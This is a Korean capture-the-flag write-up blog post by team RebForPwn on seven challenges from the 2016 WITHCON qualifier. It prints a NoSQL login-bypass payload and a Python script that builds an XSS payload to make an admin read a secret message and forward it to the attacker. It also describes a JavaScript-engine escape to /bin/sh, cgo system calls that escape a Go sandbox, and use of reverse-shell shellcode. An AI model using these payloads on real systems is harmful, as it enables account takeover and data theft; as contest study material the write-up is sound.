Uiseong Park zairo

Write-up

2016 WITHCON Quals

2016 White Hat Contest 예선 Write-up
Team. RebForPwn(zairo, crixer, holinder4s, jsh05042)

Abstract

본 문서는 대한민국 화이트햇 콘테스트 해킹방어대회(이하 WITHCON) 예선에 참가하여 문제에 대한 풀이를 기록한 보고서이다. 작성자는 이번 대회에 참가한 RebForPwn 팀원이며, 총 7가지의 문제에 대한 풀이를 서술한다.

1. Mic Check

Overview

문제 1번은 “2015년 청소년부 대상팀은?” 이다. 이 문제는 Whitehat 공식 홈페이지를 통해 간단히 풀 수 있었다.

Analysis

Whitehat Contest공식 홈페이지 (http://whitehatcontest.kr/contest/HOF)에 접속하여 ‘해킹방어대회-명예의전당’에서 2015년 청소년부 대상팀을 “NYAN_CAT”으로 확인하였다.

flag: NYAN_CAT


2. CEMU

Overview

문제 2번은 “XX기관 내부망에서는 공격 탐지를 위해 쉘 코드를 에뮬레이팅 하여 해당 쉘 코드의 동작을 탐지하는 보안 솔루션이 존재한다. 해당 솔루션을 분석하여 인증키를 획득하시오” 이다. 이 문제는 총 3가지의 Stage 로 구성되어 있으며, 각 Stage의 조건에 대한 값을 Server로 보내면 다음 Stage 로 넘어가는 방식이다.

Analysis

문제에서 해당 솔루션이 동작하는 Server 로 보이는 121.78.147.15955511 port 로 위와 같이 NC 접속을 할 수 있다. 접속을 하면, “Welcome to CEmu2 World” 문자열과 함께 Stage1의 조건이 제시된다. Register 를 제시된 값과 동일하게 Set 하는 것이 목표임을 알 수 있다. 제시되는 Register 의 값은 연결을 시도할 때 마다 랜덤으로 변경된다.

Python 을 이용하여 위와 같은 Exploit Code 를 제작할 수 있었으며, pwn library 를 이용하여 server 로부터 수신된 data 중 각 Register 에 맞는 값을 Parsing 하여 Assembly 언어로 포팅 해준 뒤, hex 값으로 변환하는 작업을 수행하는 code를 통해서 해당 Register 들의 값을 Set 하는 OpcodeServerSend 할 수 있었다. 이후, Server 로 제시된 RegisterSet 하는 Opcode 를 보낼 경우 “Stage1 Clear!” 란 문자열과 함께 Stage2로 이동하는 것을 확인할 수 있다.

Stage1 다음 제시되는 Stage2 는 위와 같이 제시된 Stack 그림에 맞게 값을 Set 하는 것이 목표임을 확인할 수 있었다. Stack 에 값을 집어 넣기 위해선 PUSH 라는 Assembly 명령어를 사용해야 하며, 위에서 ESP 가 최상단위 위치한 것을 보아, Stack 은 아래에서 위로 즉, 거꾸로 자라나기 때문에 가장 아래에서부터 제시된 0x64dd6f13 >> 0x1f21c199 >> 0x415e0dc7 순으로 Stack 에 집어 넣어주어야 한다.

Stage1과 동일하게 Python을 이용하여 위과 같은 Exploit Code를 제작할 수 있었으며, 위 codeStage1 Clear시 제작한 Code의 뒤에 그대로 이어서 제작한다. Stage1과 마찬가지로, pwn libraryrecvuntil, recvline 함수를 이용하여 server로부터 수신된 dataStack 에 표시되는 값들을 Parsing 하여 Stack 에 값을 넣는 PUSH Assembly 언어로 포팅 해준 뒤, hex 값으로 변환하는 작업을 수행한다. 아래에 있는 값부터 Stack에 들어가야하므로, 거꾸로 Opcode 를 이어 붙인 뒤, 해당 PayloadServerSend 할 수 있었다. Server로 제시된 StackSet 하는 Opcode 를 보낼 경우 “Stage2 Clear!” 란 문자열과 함께 Stage3으로 이동하는 것을 확인할 수 있다.

Stage2 다음 제시되는 Stage3 는 “goal is reverse shell coding!!” 이란 문자열과 함께, Server ip, port, shell 을 확인할 수 있었다. Reverse shell 을 수행하는 Code 를 이용해서, 제시된 Server 로 접속하는 것이 목표인 것을 알 수 있다.

Stage1, Stage2와 마찬가지로 페이로드에 opcode를 집어넣으면 되는데 주어진 Server IPServer PORTTCPBIND 쉘을 연결하면 되는 문제였다. 결론적으로 가상의 서버로 접속하는 Reverse TCP Bind 쉘 코드를 작성하면 되는데 해당 쉘코드는 Exploit-dbShellstorm 등 인터넷에 검색하면 각 아키텍쳐, 플랫폼 별로 쉘코드가 많이 있기 때문에 Server_IP, Server_PORT만 잘 파싱하여 hex로 바꾼뒤 위와 같이 Server IPServer Port가 적용된 쉘코드를 Send()함수를 이용해 페이로드를 문제 서버에 보내면 바로 풀었다는 메시지가 뜨게 된다. 이 문제를 풀기 위해 사용한 Reverse TCP Bind 쉘 코드는 Russell Willis가 제작한 92바이트짜리 Reverse TCP Bindshell을 사용하였다. (http://www.exploit-db.com/exploits/25497)

위에서 제작한 최종 Exploit Code를 수행하면 Stage3에서 제시된 ServerReverse Shell 이 수행되면서 “Stage3 Clear!” 란 문자열을 확인할 수 있다. 이어서 Flag와 함께, “all finished!” 란 문자열을 획득할 수 있었고, 이로써 해당 에뮬레이팅 서비스가 종료된 것을 확인할 수 있었다.

flag: http://wargame.kr/PlzFlagC3mu


3. GoSandbox

Overview

문제 3번은 “기관 내부망에 프로그래밍 언어를 학습하기 위한 온라인 서비스를 제공하고 있다. 해당 서비스를 분석하여 인증키를 획득 하시오.” 이다. 이 문제는 Sandbox 서비스에 대한 문제이다. 학습하기 위한 언어는 Go 언어를 학습하기 위한 것으로 Go 문법을 이용하여, 좌측 창에서 실행할 경우, 우측 창에 해당 code의 실행결과가 return 되는 방식의 sandbox 이다.

Analysis

문제에서 제시하고 있는 해당 온라인 서비스 주소로 보이는 http://121.78.147.159:8888로 접속하면 위와 같은 SandBox 창을 확인할 수 있다. 상단에 Go Sandbox란 문구를 통해 Go 언어 학습을 위한 Sandbox 임을 추측할 수 있었고, Test Code 로 간단한 Go Code 를 수행한 결과 정상적으로 돌아가는 것을 확인할 수 있었다.

Go 언어는 구글이 만든 새로운 프로그래밍 언어로써, Python, Java 와 같은 범용 프로그래밍 언어이다. 시스템 프로그래밍, 네트워크 프로그램 개발을 목표로 만들어진 언어로써 Python에서 사용되는 libraryimport와 같이 Packageimport하여 다양하게 활용할 수 있는 방식이다.

해당 Sandbox를 분석하여, 인증키를 획득하라는 문제이며, 추가적으로 주어지는 단서가 없으므로 해당 Sandbox를 활용하여 Flag를 획득해내야 하는 것으로 인식할 수 있었다. Sandbox 자체 취약점을 활용하여 Exploit 하거나, Sandbox가 컴파일 되는 환경 내에서 system 명령어를 이용, flag file 탐색을 수행하기 위해 os, system, path 등의 여러 Package 들을 import 하였으나 대부분의 Package에 대해서 위와 같이 사용할 수 없거나, 존재하지 않는다는 Error 문구를 확인할 수 있었다.

파일 탐색, 시스템 명령어 수행 등을 위한 Package 문제를 겪는 중 참고하던 Go Reference에서 위와 같이 Cgo에서 사용할 수 있는 cgo에 대한 정보를 확인할 수 있었다. 설명에서는 go 에서 C code 를 불러 수행할 수 있도록 하는 Package 임을 알 수 있다.

C Packageimport 하는데 아무 이상이 없는 것을 확인할 수 있었고, Github을 비롯한 여러 Example Code 를 참고하여, 위와 같이 go 언어 내에서 C Package를 이용하여, system 명령어를 수행하였고, 정상적으로 return 되는 것을 확인할 수 있었다. C libraryimport 하는데도 문법 하나하나가 까다로워 잘 맞춰주어야 한다.

System 함수를 C Package 를 통해서 사용할 수 있고, 인자를 주기 위해선 CString 이라는 함수로 명령어를 해당 문자열을 컴파일러가 인식가능한 형태로 바꿔주어야 했다. 이를 이용하여, find / -name '*flag*' 2>/dev/null 명령어를 수행해 flag 파일로 의심되는 형태의 파일들을 최상위 디렉토리부터 탐색할 수 있었고, 최상위 디렉토리에서 flag란 수상한 파일을 확인할 수 있었다.

최상위 디렉토리에 flag 파일이 존재하는 것을 알 수 있었고, 위와 같이 cat /flag 명령어를 통해서 해당 파일을 출력한 결과 flag를 확인할 수 있었다.

flag: {1fce6be7b43434e6377dcb981531cc398696e3d}


4. Login

Overview

문제 4번은 “xx기관 내부망의 사용량 증가에 따라 DB 서버의 확장이 용이한 No SQL 서비스로 서버를 변경할 예정이다. 내부 테스트를 위해 로그인 기능의 웹 페이지를 제작하였다. 해당 웹 페이지의 취약점을 식별하시오.”이다. 문제를 보면 해당 사이트에서 No SQL을 사용하는 것을 알 수 있다. 이를 이용하여 문제를 풀 수 있다.

Analysis

이 페이지에서 usernamepassword를 입력하고 SUBMIT 버튼을 누르면 내부적으로 No SQL 데이터베이스에서 usernamepassword를 조회한다. 여기에서 참이 되는 조회 결과가 있다면 해당 username으로 로그인이 성공적으로 이루어진다.

이 페이지에서 일반적으로 로그인 요청을 하면 {"username":"admin", "password":"admin"}와 같이 json 형식의 데이터가 전송된다. 여기에서 password 란의 admin 대신 {"$gt":""}를 입력하여 문제를 해결할 수 있다. $gt>를 의미한다. 부등호 >를 이용하여 password 컬럼의 빈 문자열보다 큰 문자열에 해당하는 값을 조회하도록 하는 것으로 모든 문자열이 해당 되므로 무조건 참의 결과가 나오게 된다. 즉, usernameadmin이면서 password가 모든 문자열에 해당하는 행을 출력하므로 admin으로 로그인이 가능하다.

password란에 {"$gt":""}를 입력하여 usernameadmin이고 password가 모든 문자열에 해당하므로 admin 계정으로 접속할 수 있다.

정상적으로 admin 계정으로 로그인 후 flag를 확인할 수 있었다.

flag : d961551aa7eaca52c2d77e9408654b4b


5. easy

Overview

문제 6번은 “대전 특정기업에서 서비스중인 자바스크립트 엔진이 있다. 그런데 어느 날, 이 서비스에서 쉘을 획득하여 서버를 장악할 수 있는 취약점이 발견되었다는 신고가 들어왔다. 해당 신고자는 취약점의 설명을 위해 거액을 요구했고, 액수를 감당하지 못하는 기업은 거절하며 대신 당신에게 취약점 발굴을 의뢰했다.”라는 문제이다. 이 문제에서는 javascript 엔진에서 발생하는 취약점을 이용하여 쉘을 획득해 해결할 수 있다.

Analysis

nc를 이용하여 접속하게 되면 javascript shell이 출력된다. 이 shell을 이용하여 javascript를 실행할 수 있다. 이 문제에서는 쉘을 획득하는 것이 목적이므로 /bin/sh를 실행하는 것을 목표로 한다.

unescape 함수를 이용하여 systemURL Encoding 한 값을 Decoding 하고 이를 eval 함수를 이용해 system함수로 변환시켜준다. 그리고 ("/bin/sh")를 통해 쉘의 경로를 인자로 넘겨주어 최종적으로 쉘을 획득한 후 flag를 획득할 수 있다.

flag: 8cf1a09289739d2d42b5ccf4c5bc687a


6. secret message

Overview

문제 7번은 “한 커뮤니티에서 국가 안보에 해가 되는 단체가 쪽지를 통해 비밀 지령을 전달받는다고 한다. 서버의 취약점을 이용하여 해당 비밀 지령을 확인 하시오.” 이다. 문제를 보면 해당 사이트에 쪽지를 주고 받을 수 있는 메시지 기능이 있고, 이 기능의 취약점 이용하여 문제를 해결할 수 있다는 것을 알 수 있다.

Analysis

계정을 새로 생성하고 로그인을 하면 위와 같은 메인 페이지로 접속하게 되는데 페이지 하단을 보면 “문의 사항 발생 시 관리자(admin)계정으로 문의주세요.”라는 문구가 적혀있다. 이 문구를 통해 추측할 수 있는 내용은 해당 메시지 페이지 내부에 admin계정이 있고 이 계정으로 메시지를 전송하면 해당 메시지를 읽을 수도 있다는 것이다.

메시지가 어떻게 수신되는지 테스트 해보기 위해 자기 자신에게 메시지를 전송하고 Message 항목에 ";alert(1);//를 입력하고 전송해보았다.

위와 같이 javascript를 통해 메시지 내용이 전송되며 "를 통해 contents 변수 밖을 벗어날 수 있다는 것을 알아냈다. 또한 ()같은 괄호를 필터링하므로 이를 우회해야 한다는 점을 알 수 있다. 이렇게 알아낸 내용을 토대로 CSRF를 이용한 문제임을 알 수 있다. admin으로 하여금 Secret Message에 해당하는 /read.php?no=0로 접속해 해당 페이지 소스를 파싱하여 이를 다시 나에게 메시지를 통해 전송하도록 하면 /read.php?no=0 페이지를 읽을 수 있을 것이다.

def ch2unicode(char):  
    return "\\u%04x" % ord(char)  

original_data = """<img src="a" onerror='$.get("read.php?no=0",function(data) { $.post( "write_ok.php", { receiver: "zairo", title: "test", contents:"\u0022; contents=\u0022"+data.split("var contents = \u0022")[1].split("function")[0]+"\u0022;//" } )});'>"""  

payload = ""  

for ch in original_data:  
    if ch in """[(<{}>)]"'""":  
        payload += ch2unicode(ch)  
    else:  
        payload += ch  

print """";document.body.innerHTML+='"""+payload+';//'

따라서 위와 같이 python 스크립트를 작성하였고 괄호 필터링을 우회하기 위해 \u0028 같은 유니코드를 사용하였다.

위와 같이 작성한 python 스크립트를 실행하여 payload를 생성한다. 여기에서 괄호 및 따옴표는 유니코드를 이용해 인코딩하였다.

위와 같이 admin으로 작성된 CSRF를 전송하여 admin으로 하여금 Secret Message를 읽고 나에게 해당 내용을 메시지를 보내도록 하였다. Secret Message의 내용이 나에게 전송된 것을 확인하였다.

flag: b272869efcdf8da987f6986efb20a73c6fdd80f


7. short path

Overview

문제 10번은 “대한민국 지도 상에 정체불명의 존재가 다수 출현했다는 속보가 들어왔다. 현재 운용할 수 있는 헬기는 단 한대, 가장 빠르게 모든 지점에 도착할 수 있도록 도움을 주어라” 이다.

Analysis

문제에서 주어진 링크로 접속해보면, 제한시간과 함께 한반도 지도에 표현된 특정 점을 모두 방문하는 최단 거리 루트를 순서대로 입력하는 창을 확인할 수 있었다. 제한 시간은 20초가 주어지며, 주어진 점들은 수행할 때 마다 변경되는 것을 확인할 수 있었다. Stage 1은 표현되는 점이 총 3개로 비교적 간단하게 해결할 수 있었다. 이후 Stage 2에서부터 점점 방문해야 하는 지점이 늘어나는 방식이다.

보듯이 각 지점 점들에 대해서 요소를 확인하였을 때, (x, y) 형태의 좌표 값으로 보이는 요소를 확인할 수 있었다. 이 요소를 parsing 하여, 각 점의 좌표를 이용하여 직선거리를 구하는 공식을 통해 각 점과 점사이 거리를 구한 뒤, 다익스트라 알고리즘과 같은 최단거리 루트를 구하는 알고리즘을 이용, 루트를 Request 하는 방식으로 접근 방식을 잡았다.

하지만, Stage가 3까지 밖에 없는 점, 다른 문제에 많은 시간을 할애 해야하는 관계로, 알고리즘을 이용한 Code를 제작하지 않고 각 지점의 위치를 눈으로 구분하여, 최단 거리를 찾아 20초 이내에 Stage1, 2, 3Clear할 수 있었다. 좀 더 많은 지점이 생성되었다면, 코딩을 통해서 해결해야 할 것이다.

flag: bb2d0d9a05e5432a196d02de43fe996fdef42664

Written by Team. RebForPwn

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.